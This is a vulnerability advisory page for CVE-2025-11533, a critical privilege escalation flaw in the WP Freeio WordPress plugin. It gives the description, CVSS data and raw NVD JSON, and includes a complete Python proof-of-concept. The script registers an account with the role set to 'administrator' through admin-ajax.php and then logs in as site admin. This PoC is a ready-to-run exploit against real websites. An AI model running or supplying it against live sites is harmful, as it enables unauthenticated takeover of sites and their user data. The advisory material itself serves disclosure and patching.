Security Vulnerability Report
中文
CVE-2025-11533 CVSS 9.8 CRITICAL

CVE-2025-11533

Published: 2025-10-11 08:15:32
Last Modified: 2026-04-15 00:35:42

Description

The WP Freeio plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.21. This is due to the process_register() function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Freeio < 1.2.22
所有版本至1.2.21(含)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11533 - WP Freeio Privilege Escalation PoC # Exploit: Register as administrator by manipulating role parameter import requests target_url = "http://target-wordpress-site.com" register_endpoint = "/wp-admin/admin-ajax.php" # Step 1: Send registration request with administrator role payload = { "action": "process_register", # The vulnerable action handler "username": "attacker_admin", "email": "[email protected]", "password": "P@ssw0rd123!", "confirm_password": "P@ssw0rd123!", "role": "administrator", # Exploit: Inject admin role "term_condition": "on" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = requests.post( target_url + register_endpoint, data=payload, headers=headers ) if response.status_code == 200: print("[+] Registration request sent successfully") print(f"[*] Response: {response.text}") # Step 2: Login with the newly created admin account login_data = { "log": "attacker_admin", "pwd": "P@ssw0rd123!", "wp-submit": "Log In", "redirect_to": target_url + "/wp-admin/", "testcookie": "1" } session = requests.Session() login_response = session.post( target_url + "/wp-login.php", data=login_data, headers=headers ) if "wp-admin" in login_response.url or "dashboard" in login_response.text.lower(): print("[+] Successfully logged in as administrator!") print(f"[*] Admin panel URL: {target_url}/wp-admin/") else: print(f"[-] Request failed with status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11533", "sourceIdentifier": "[email protected]", "published": "2025-10-11T08:15:32.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Freeio plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.21. This is due to the process_register() function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://themeforest.net/item/freeio-freelance-marketplace-wordpress-theme/42045416", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0db85f84-04e9-42eb-a16b-96554fbfd186?source=cve", "source": "[email protected]"}]}}